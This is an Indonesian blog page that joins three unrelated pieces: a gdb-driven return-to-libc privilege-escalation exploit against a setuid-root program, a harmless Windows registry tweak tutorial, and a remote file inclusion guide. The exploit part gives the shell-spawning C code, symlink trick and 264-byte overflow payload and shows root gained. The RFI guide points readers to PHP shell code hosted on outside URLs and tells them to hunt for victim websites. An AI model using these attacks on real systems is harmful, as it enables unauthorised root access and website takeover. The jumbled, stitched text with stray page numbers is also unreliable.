0x005feacc <execl+204>: cld
0x005feacd <execl+205>: mov 0xffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov %edx,%edi
0x005fead2 <execl+210>: shl $0x2,%ecx
0x005fead5 <execl+213>: shr $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov %edx,%esi
0x005feadc <execl+220>: mov 0xffffffe4(%ebp),%edi
0x005feadf <execl+223>: mov 0xffffffec(%ebp),%eax
0x005feae2 <execl+226>: add %eax,%edi
0x005feae4 <execl+228>: mov %edi,0xfffffff0(%ebp)
0x005feae7 <execl+231>: jmp 0x5fea58 <execl+88>
0x005feaec <execl+236>: nop
0x005feaed <execl+237>: nop
0x005feaee <execl+238>: nop
0x005feaef <execl+239>: nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
nah puyeng kan loe ... yang di atas itu apaan??
sama gue juga puyeng ...
tapi jangan menyerah
keep moving lolz
[dokter@localhost fedora]$
alasan nya kita tidak punya alamat dari <execl+0> atau <execl+1> karna
nilai dari %ebp mungkin berubah bila "push %ebp" atau "mov %esp,%ebp"
di eksekusi. kita temukan alamat dari <execl+3> sangat gampang dengan
mengunakan gdb: 0x005fea03.
nah dari mana dapat nya tuh... jawaban nya tetep sama .... use your imajination.
loh kok gitu jawaban nya.... pasti kamu berkata gitu... karna kalo di jelaskan
panjang banget
bro....
hikz
42
:(
mari kita lanjutkan lagi
hajar.....
[dokter@localhost fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/dokter/fedora/vul
Error while mapping shared library sections:
: ?
깃났.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared
library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Error while reading shared library symbols:
: 洹몃?漿佾 應좏좊━媛 壹.
Breakpoint 1, 0x08048379 in main ()
(gdb) x/50x 0x8049000
0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8049010: 0x00030002 0x00000001 0x080482c0 0x00000034
0x8049020: 0x00000788 0x00000000 0x00200034 0x00280007
0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005
0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114
0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004
0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000
0x8049080: 0x08048000 0x0000047c 0x0000047c 0x00000005
0x8049090: 0x00001000 0x00000001 0x0000047c 0x0804947c
0x80490a0: 0x0804947c 0x00000100 0x00000104 0x00000006
0x80490b0: 0x00001000 0x00000002 0x00000490 0x08049490
0x80490c0: 0x08049490 0x000000c8
(gdb)
0x80490c8: 0x000000c8 0x00000006 0x00000004 0x00000004
0x80490d8: 0x00000128 0x08048128 0x08048128 0x00000020
0x80490e8: 0x00000020 0x00000004 0x00000004 0x6474e551
0x80490f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049108: 0x00000000 0x00000006 0x00000004 0x62696c2f
0x8049118: 0x2d646c2f 0x756e696c 0x6f732e78 0x0000322e
0x8049128: 0x00000004 0x00000010 0x00000001 0x00554e47
0x8049138: 0x00000000 0x00000002 0x00000002 0x00000005
0x8049148: 0x00000003 0x00000006 0x00000004 0x00000001
0x8049158: 0x00000005 0x00000000 0x00000000 0x00000000
0x8049168: 0x00000000 0x00000003 0x00000002 0x00000000
0x8049178: 0x00000000 0x00000000 0x00000000 0x00000044
0x8049188: 0x00000000 0x000000ef
(gdb)
0x8049190: 0x00000012 0x00000035 0x08048474 0x00000004
0x80491a0: 0x000e0011 0x00000001 0x00000000 0x00000000
0x80491b0: 0x00000020 0x00000015 0x00000000 0x00000000
0x80491c0: 0x00000020 0x0000002e 0x00000000 0x00000030
0x80491d0: 0x00000012 0x764a5f00 0x6765525f 0x65747369
0x80491e0: 0x616c4372 0x73657373 0x675f5f00 0x5f6e6f6d
0x80491f0: 0x72617473 0x005f5f74 0x6362696c 0x2e6f732e
0x8049200: 0x74730036 0x79706372 0x4f495f00 0x6474735f
0x8049210: 0x755f6e69 0x00646573 0x696c5f5f 0x735f6362
0x8049220: 0x74726174 0x69616d5f 0x4c47006e 0x5f434249
0x8049230: 0x00302e32 0x00020000 0x00000001 0x00020000
0x8049240: 0x00010001 0x00000024 0x00000010 0x00000000
0x8049250: 0x0d696910 0x00020000
(gdb)
0x8049258: 0x00000056 0x00000000 0x08049558 0x00000406
43
0x8049268: 0x08049568 0x00000107 0x0804956c 0x00000507
0x8049278: 0x83e58955 0x61e808ec 0xe8000000 0x000000bc
0x8049288: 0x0001a3e8 0x00c3c900 0x956035ff 0x25ff0804
0x8049298: 0x08049564 0x00000000 0x956825ff 0x00680804
0x80492a8: 0xe9000000 0xffffffe0 0x956c25ff 0x08680804
0x80492b8: 0xe9000000 0xffffffd0 0x895eed31 0xf0e483e1
0x80492c8: 0x68525450 0x080483ec 0x0483a468 0x68565108
0x80492d8: 0x08048370 0xffffbfe8 0x9090f4ff 0x53e58955
0x80492e8: 0x000000e8 0xc3815b00 0x0000126f 0xfc838b50
0x80492f8: 0x85ffffff 0xff0274c0 0xfc5d8bd0 0x9090c3c9
0x8049308: 0x83e58955 0x3d8008ec 0x0804957c 0xa1297500
0x8049318: 0x08049578 0xd285108b
(gdb)
0x8049320: 0xf6891774 0xa304c083 0x08049578 0x78a1d2ff
0x8049330: 0x8b080495 0x75d28510 0x7c05c6eb 0x01080495
0x8049340: 0xf689c3c9 0x83e58955 0x8ca108ec 0x85080494
0x8049350: 0xb81974c0 0x00000000 0x1074c085 0x680cec83
0x8049360: 0x0804948c 0xc483d0ff 0x00768d10 0x9090c3c9
0x8049370: 0x81e58955 0x000108ec 0xf0e48300 0x000000b8
0x8049380: 0x83c42900 0x458b08ec 0x04c0830c 0x858d30ff
0x8049390: 0xfffffef8 0xff16e850 0xc483ffff 0x0000b810
0x80493a0: 0xc3c90000 0x57e58955 0xec835356 0x0000e80c
0x80493b0: 0x815b0000 0x0011aac3 0xfebae800 0x938dffff
0x80493c0: 0xffffff20 0xff208b8d 0xca29ffff 0xfac1f631
0x80493d0: 0x73d63902 0x90d7890f 0x20b394ff 0x46ffffff
0x80493e0: 0xf472fe39 0x5b0cc483
(gdb)
0x80493e8: 0xc3c95f5e 0x56e58955 0x0000e853 0x815b0000
0x80493f8: 0x001166c3 0x208b8d00 0x8dffffff 0xffff2083
0x8049408: 0xc1c129ff 0xc98502f9 0x75ff718d 0x003ae80b
0x8049418: 0x5e5b0000 0xf689c3c9 0x20b394ff 0x89ffffff
0x8049428: 0xd2854ef2 0xe5ebf275 0x53e58955 0x947ca152
0x8049438: 0xf8830804 0x947cbbff 0x0c740804 0xff04eb83
0x8049448: 0x83038bd0 0xf475fff8 0xc3c95b58 0x53e58955
0x8049458: 0x000000e8 0xc3815b00 0x000010ff 0xfe9ee852
0x8049468: 0x5d8bffff 0x00c3c9fc 0x00000003 0x00020001
0x8049478: 0x00000000 0xffffffff 0x00000000 0xffffffff
0x8049488 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001
0x00000024
0x8049498 <_DYNAMIC+8>: 0x0000000c 0x08048278 0x0000000d 0x08048454
0x80494a8 <_DYNAMIC+24>: 0x00000004 0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>: 0x00000005 0x080481d4 0x00000006
0x08048174
0x80494c0 <_DYNAMIC+48>: 0x0000000a 0x00000060 0x0000000b
0x00000010
0x80494d0 <_DYNAMIC+64>: 0x00000015 0x005714b8 0x00000003
0x0804955c
0x80494e0 <_DYNAMIC+80>: 0x00000002 0x00000010 0x00000014
0x00000011
0x80494f0 <_DYNAMIC+96>: 0x00000017 0x08048268 0x00000011
0x08048260
0x8049500 <_DYNAMIC+112>: 0x00000012 0x00000008 0x00000013
0x00000008
0x8049510 <_DYNAMIC+128>: 0x6ffffffe 0x08048240 0x6fffffff
0x00000001
0x8049520 <_DYNAMIC+144>: 0x6ffffff0 0x08048234 0x00000000
0x00000000
0x8049530 <_DYNAMIC+160>: 0x00000000 0x00000000 0x00000000
0x00000000
0x8049540 <_DYNAMIC+176>: 0x00000000 0x00000000 0x00000000
0x00000000
0x8049550 <_DYNAMIC+192>: 0x00000000 0x00000000 0x00000000
0x08049490
0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x005714d0 0x00566830 0x0058c9f0
0x080482b6
0x8049570 <data_start>: 0x00000000 0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6
0x00000000
44
0x8049574 <__dso_handle>: 0x00000000 0x08049488 0x00000000
0x00000000
(gdb)
nah loh
apaan lagi tuh... puyeng kan loe... sama gue juga puyeng.. apaan nih ya??
tapi jangan khawatir karna kita temukan bagian yang bisa di gunakan dari
execl(). penjelasan nya seperti ini :
execl(char *path, char *arg0,...,char *argn, 0);
seperti yang kamu liat, akhir dari argumen dari execl() pasti null ( alias kosong )
jadi kamu bisa menggunakan argumen dari execl() itu. ini penjeleasan yang lebih
detail
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000
---------- ---------- ----------
kita akan menggunakan execl() seperti "execl(0x8049568, 0x804956c,
0x8049570)". Kita harus menggunakan nilai dari alamat karna argumennya
pasti sebuah pointer.
ini penjelasan lebih detail
(gdb) x/8x 0x0058c9f0
0x58c9f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c 0xe810558b
---------- ---------- ---------- ---------
-
0x58ca00 <__libc_start_main+16>: 0xffffff09 0x25f8c381 0x7d8b0010 0x1c758b18
---------- ---------- --
(gdb) x/8x 0x080482b6
0x80482b6 <_init+62>: 0x00000868 0xffd0e900 0xed31ffff 0x83e1895e
0x80482c6 <_start+6>: 0x5450f0e4 0x83ec6852 0xa4680804 0x51080483
(gdb) q
The program is running. Exit anyway? (y or n) y
[dokter@localhost fedora]$
25 bytes' data di 0x0058c9f0 adalah nama file ketika execl() di panggil. jadi kita
perlu membuat sebuah symbolic link dengan data ini. sekarang mari kita
membuat program exploit nya.
program ini harus bisa membuat hak akses kita menjadi (setuid(0)) dari program
vulnerability dan memberi akses root ketika kita sukses menyerang nya... woh...
mantap donk... hehehehehehe
[dokter@localhost fedora]$ cat > exploit.c
#include <unistd.h>
main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh", "sh", 0);
45
}
[dokter@localhost fedora]$ gcc -o exploit exploit.c
mari kita membuat symbolic link untuk exploit dengan nilai dari argument
pertama dari execl().
[dokter@localhost fedora]$ ln -s /home/dokter/fedora/exploit "`perl -e 'print
"\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10",
"\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"
mari kita cek symboloic link nya apakah sukses.
[dokter@localhost fedora]$ ls -l
刺怨
24
lrwxrwxrwx 1 dokter dokter 29 11?12 11:28 U??WVS??L?E??U?????????%? ->
/home/dokter/fedora/exploit
-rwxrwxr-x 1 dokter dokter 5186 11?12 11:27 exploit
-rw-rw-r-- 1 dokter dokter 101 11?12 11:27 exploit.c
-rwsr-xr-x 1 root root 4725 11?12 10:31 vul
-rw-rw-r-- 1 dokter dokter 90 11?12 10:31 vul.c
[dokter@localhost fedora]$
mantap... hehehheheheheheh
kalian bisa lihat kan apa yang terjadi dari proses yang terjadi
lanjut.............
pake gdb untuk cari nilai dari alamat nya
[dokter@localhost fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>: push %ebp
0x08048371 <main+1>: mov %esp,%ebp
0x08048373 <main+3>: sub $0x108,%esp // 264 bytes are needed to overflow buffer
0x08048379 <main+9>: and $0xfffffff0,%esp
0x0804837c <main+12>: mov $0x0,%eax
0x08048381 <main+17>: sub %eax,%esp
0x08048383 <main+19>: sub $0x8,%esp
0x08048386 <main+22>: mov 0xc(%ebp),%eax
0x08048389 <main+25>: add $0x4,%eax
0x0804838c <main+28>: pushl (%eax)
0x0804838e <main+30>: lea 0xfffffef8(%ebp),%eax
0x08048394 <main+36>: push %eax
0x08048395 <main+37>: call 0x80482b0 <_init+56>
0x0804839a <main+42>: add $0x10,%esp
0x0804839d <main+45>: mov $0x0,%eax
0x080483a2 <main+50>: leave
0x080483a3 <main+51>: ret
End of assembler dump.
(gdb) q
[dokter@localhost fedora]$
sekarang kita dapatkan seluruh data yang kita butuhkan untuk menyerang...
lihat di bawah ini data yang telah kita kumpulkan
+-------------------------+--------------------------------+---------------+
| data to overflow buffer | *first argument of execl() - 8 | *<execl + 3> |
46
+-------------------------+--------------------------------+---------------+
^ ^ ^
| | |
264 bytes 0x8049568 - 8 = 0x8049560 0x5fea03
nah gak terlalu puyeng seperti yang di atas kan ... hehehehhe
jadi data yang kita butuh kan untuk argumen awal dari execl() - 8 pada execl()
bekerja ketika kita memanggil execve() secara internal dan execve() referensi dari
ebp+8 ketika kita mengambil pointer dari nama file tersebut.
Mari kita lanjutkan serangan terakhir
[dokter@localhost fedora]$ ./vul `perl -e 'print
"A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`
sh-2.05b# id
uid=0(root) gid=501(dokter) groups=501(dokter)
sh-2.05b# whoami
root
sh-2.05b#
wew root bo``` mantap
kita dapat root...
tau kan mo ngapain lagi...
hehehehhehe
====================================
Konfigurasi Windows Secara Manual Memakai Regedit
ini adalah hasil explorasi saya terhadap program XSetup
Pro. Sebenarnya anda bisa dengan mudah mengkonfigurasi Windows
memakai program X-Setup Pro, tetapi bagi yang ingin mengetahui caranya
secara manual bisa menggunakan tutorial ini. Saat membuatnya saya
menggunakan Windows XP SP 2, jadi jika ada perbedaan key value di dalam
register anda, anda bisa membuatnya sendiri. Tetapi sebagai catatan ada juga
register yang khusus untuk Windows versi tertentu saja.
Menggunakan Regedit
1. Membuka Regedit
Klik Start – Run lalu ketik regedit pada kotak isian Open lalu klik OK
2. Membuat dan menghapus Key
Klik kanan icon folder pada tree yang di dalamnya ingin dibuat key baru
lalu klik New - Key dan beri nama sesuai yang anda inginkan. Jika anda
ingin menghapusnya klik key yang dimaksud lalu tekan tombol Delete.
Pilih yes pada kotak dialog yang muncul
3. Membuat dan merubah dan menghapus String
Klik key di mana di dalam key tersebut akan dibuat string. Klik kanan di
sembarang tempat pada jendela sebelah kanan. Klik New – String Value
lalu beri nama string tersebut. Untuk merubah nama string lagi klik kanan
pada nama string yang dimaksud lalu klik rename dan ubah namanya.
Jika ingin merubah datanya, double klik pada nama string yang
dimaksud, masukkan data lalu klik OK. Jika anda ingin menghapusnya
klik string yang dimaksud lalu tekan tombol Delete. Pilih yes pada kotak
dialog yang muncul. Cara diatas juga bisa digunakan untuk DWORD,
Binary, Multi-String dan Expendable String.
Menghilangkan Apllet "Add/Remove Program" di Dalam Control Panel
1. Masuk ke HKCU\Control Panel\Don't Load\
2. Buat string baru dengan nama addwiz.cpl
3. Ganti datanya menjadi 1
Apllet lain juga bisa diganti dengan cara yang sama hanya saja dengan
nama string yang berbeda sesuai dengan apllet yang dimaksud. Tetapi ada
14
beberapa apllet yang tidak bisa dihilangkan. Di bawah ini adalah contoh
beberapa nama apllet.
1. Accessibility = access.cpl
2. Add/Remove Program = appwiz.cpl
3. Automatic Updates = wuaucpl.cpl
4. Display properties = desk.cpl
5. Firewall = firewall.cpl
6. Game Controllers & Joysticks = joy.cpl
7. Hardware = hdwwiz.cpl
8. Internet Settings = Inetcpl.cpl
9. Mail = mlcfg32.cpl
10. Modem & Telephones = telephon.cpl
11. Mouse Control = main.cpl
12. Network Setup Wizard = NetSetup.cpl
13. ODBC = odbccp32.cpl
14. Power Management = powercfg.cpl
15. Regional options = intl.cpl
16. Security Center = wscui.cpl
17. Sound and Audio = mmsys.cpl
18. Speech = sapi.cpl
19. System = sysdm.cpl
20. Time and Date = timedate.cpl
21. UPS = ups.cpl
22. User/Passwords Properties = nusrmgr.cpl
Setiap komputer kadang-kadang memiliki apllet yang berbeda di dalam
Control Panel. Jika apllet yang di inginkan tidak ada di dalam daftar, anda bisa
melakukan pencarian dengan menjalankan Search... pada harddisk lalu ketik
*.cpl. Agar apllet yang dimaksud bisa muncul kembali, hapus string yang
bersangkutan yang telah dibuat tadi.
Memunculkan Shortcut ke Suatu Drive D: Saat Klik Kanan My Computer
1. Masuk ke HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-
08002B30309D}\Shell\
2. Buat key baru dengan nama XQXSETCMD1\
3. Ubah value data pada string bernama (default) dengan Drive D:
4. Buat key baru pada HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-
08002B30309D}\Shell\XQXSETCMD1\ dengan nama Command
5. Ubah value data pada string bernama (default) dengan letak explorer.exe
berada diikuti dengan D:\. Biasanya explorer.exe berada di
C:\Windows\explorer.exe. (Contoh: C:\Windows\explorer.exe D:\)
6. Jika ingin membuat 2 shortcut maka buatlah String baru dengan nama
XQXSETCMD2 pada HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-
08002B30309D}\Shell\ lalu ulangi langkah nomor 3 sampai 5. Jika ingin
15
menghilangkan shortcut hapuslah key XQXSETCMD1
Mengganti Nama My Computer pada Desktop
1. Buka HKCU\Software\Windows\CurrentVersion\Explorer\CLSID\
2. Buat key baru dengan nama {20D04FE0-3AEA-1069-A2D8-08002B30309D}
3. Ganti data value pada string (default) dengan nama komputer yang anda
inginkan
Membuat My Computer Special Folder
Jika saat menggunakan explorer anda merasa kerepotan karena folder yang
ingin dibuka di dalam folder lain, di bawah ini akan ditunjukkna cara membuat
folder spesial. Folder ini akan muncul pada explorer di bawah Control Panel
1. Buka HKLM\SOFTWARE\Classes\CLSID\
2. Buat key baru bernama {55028DEA-EA62-4c5f-A1F3-9D123DFAEDA1}
3. Pada string (Default) ganti data valuenya dengan nama folder yang anda
inginkan
4. Buat string baru bernama InfoTip lalu ganti data valuenya dengan
komentar tentang folder tersebut
5. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama DefaultIcon
6. Buat expandable string dengan nama (Default) lalu isi datanya dengan
shell32.dll,4
7. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama InProcserver32.
8. Buat expandable string dengan nama (Default) lalu isi datanya dengan
SHDocVw.dll
9. Buat string dengan nama ThreadingModel dan isi datanya dengan
Apartement
10. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama Instance
11. Buat string baru dengan nama CLSID lalu isi datanya dengan
{0AfACED1-E828-11D1-9187-B532F1E9575D}
12. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1}\Instance dengan nama
InitPropertyBag
13. Buat DWORD dengan nama Attributes lalu isi datanya dengan 15
14. Buat expandable string dengan nama Target lalu isi datanya dengan
direktori folder yang anda inginkan misalkan D:\My Documents
15. Buat key baru pada HKLM\SOFTWARE\Classes\CLSID\{55028DEAEA62-
4c5f-A1F3-9D123DFAEDA1} dengan nama ShellFolder
16. Buat DWORD dengan nama Attributes lalu isi datanya dengan f8000110
17. Buat string baru bernama WantsFORPARSING
18. Buat key baru pada
16
HKLM\SOFTWARE\Microsoft\Windows\CurentVersion\Explorer\My
Computer\NameSpace\ dengan nama {55028DEA-EA62-4c5f-A1F3-
9D123DFAEDA1}
Menonaktifkan Desktop Clean-Up Wizard
Setiap 60 hari sekali secara otomatis akan muncul kotak dialog yang
menanyakan kepada anda apakah anda ingin menghapus icon pada desktop
yang tidak pernah terpakai atau tidak. Jika anda tidak ingin menerima pesan itu
lagi, anda bisa menggunakan cara ini.
1. Buka
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Deskt
op\
2. Ubah data pada DWORD NoRun menjadi 1
Menonaktifkan Peringatan Low Disk Space
Merasa terganggu karena ada peringatan hardisk anda penuh? Lakukan cara di
bawah ini.
1. Buka
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
r\
2. Buat DWORD baru bernama NoLowDiskSpaceChecks lalu masukkan
angka 1 pada datanya
Mengganti Wallpaper Additional Directory
Bagi anda yang gemar mengganti wallpaper, anda mungkin akan tertolong
dengan konfigurasi register ini.
1. Buka HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
2. Ganti data pada string WallPaperDir menjadi letak direktori yang anda
inginkan
Auto-Open Explorer Setelah Restart
Konfigurasi ini akan membuat explorer secara otomatis terbuka setelah
komputer melakukan restart
1. Buka
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advan
ced
2. Ganti data pada DWORD PersistBrowsers menjadi 1
Singkatan
biar tidak terlalu panjang ada beberapa singkatan yang saya
gunakan:
1. HKCR = HKEY_CURENT_ROOT
2. HKCU = HKEY_CURRENT_USER
17
3. HKLM = HKEY_LOCAL_MACHINE
4. HKU = HKEY_USERS
5. HKCC = HKEY_CURRENT_CONFIG
Shell Exploite Inject
Mungkin anda masih merasa bingung dengan shell exploite inject pada web tapi pada dasarnya semua shell sama saja cuma yang membedakan cara pemakaian shell atau bentuk dari shell itu sendiri apa berbasis aplikasi atau berbasis website tapi namanya shell jelas command - command masih sama mungkin misalkan pada shell yang aplikasi servernya berbasis linux jelas perintah yang digunakan berbasis linux juga. nah kali ini saya akan membahas tentang shell inject yang jelas saja berbasis website karena pada umumnya orang - orang memakai shell ini dalam dunia IRC biasa disebut dengan kalimat “target” saya juga heran mengapa dinamakan target? mungkin karena sudah kebiasaan padahal namanya shell inject.
* Bagaimana cara mendapatkan shell tersebut ?
*
Mudah saja hanya dengan meman faatkan bugs bugs pada script web tersebut biasanya itu semua kelalaian dari pemakai web yang mempunyai bugs nah dalam pencarian shell inject berbasis web ini ada bermacam cara - cara injected tapi saya akan membahas cara inject dengan Remote File Inclusion Vulnerability itu menggunakan bugs dalam file script pada website yang akan di inject * Bagaimana cara melihat bugs pada suatu script aplikasi pada website ? Hanya dengan menggunakan rumus logika panggilan data (include,require) ditambah dengan variabel pada script tersebut inlclude + $variabel semua memakai rumus seperti itu contoh script
($docroot.’/FCDIRECTORY/fc_functions/fc_functions.php’); ?> require <— panggilan data $docroot <— variabel /FCDIRECTORY/fc_functions/fc_functions.php
<— directory dan file dimana ditemukan bugs (kerusakan atau kelemahan) jelas pada script di atas kelihatan bugs jika dikaitkan dengan rumus include+variabel maka akan menjadi suatu shell inject tinggal kita mengolah script tersebut. sekarang kita akan membentuk suatu script yang sebentar akan dikaitkan dengan link pada website degan cara memutar balikan script tersebut dengan mengubah kedudukan include dan variabel serta mengubah variabel yang dikenal tanda “$” menjadi “?”
$docroot.’/FCDIRECTORY/fc_functions/fc_functions.phpjika diputar balikan akan menjadi /FCDIRECTORY/fc_functions/fc_functions.php?docroot=
Kaitan Bugs dan Link pada Website
Ini merupakan saat yang paling enak dipelajari apa kaitan bugs dengan link pada website atau target website yang akan kita masuk. Jelas kaitanya sangat erat dan wajib untuk diperlakukan. Mengapa?..karena tanpa bugs tersebut kita tidak bisa mendapatkan shell inject kita akan masuk pada website melalui bugs atau kelemahan pada website tersebut dimana letak kelemahan website tersebut … ? letaknya ada pada script bugs
require ($docroot.’/FCDIRECTORY/fc_functions/fc_functions.php’); ?>
sekarang kita akan menggabungkan link website dengan bugs tapi sebelumnya kita harus mempunyai injection atau code shell php anda bisa dapatkan pada link http://psychophobia.co.cc/psycho? atau http://artworkmarket.com/components/rey?
nah sekarang akan kita gabungkan akan menjadi seperti
/FCDIRECTORY/fc_functions/fc_functions.php?docroot=[shell code]contoh: www.site.com/ [path]/FCDIRECTORY/fc_functions/fc_functions.php?docroot=[shell code]gunakan shell code : http://psychophobia.co.cc/psycho? contoh : fc_functions.php?docroot=http://psychophobia.co.cc/psycho?
jika sudah menjadi seperti itu kita tinggal mencari target website yang siap kita masuk biasanya pencarian target website lewat situs pencarian seperti yahoo,google,altavista,lycos dan masih banyak lagi atau bisa menggunakan bot scan perl lewat IRC (yang menggunakan bot scan kerjaan orang malas) namun apa salahnya jika teknologi semakin berkembang menggapa tidak jika kita menggunakan sesuatu yang akan mempermudah pekerjaan kita
Langganan:
Postingan (Atom)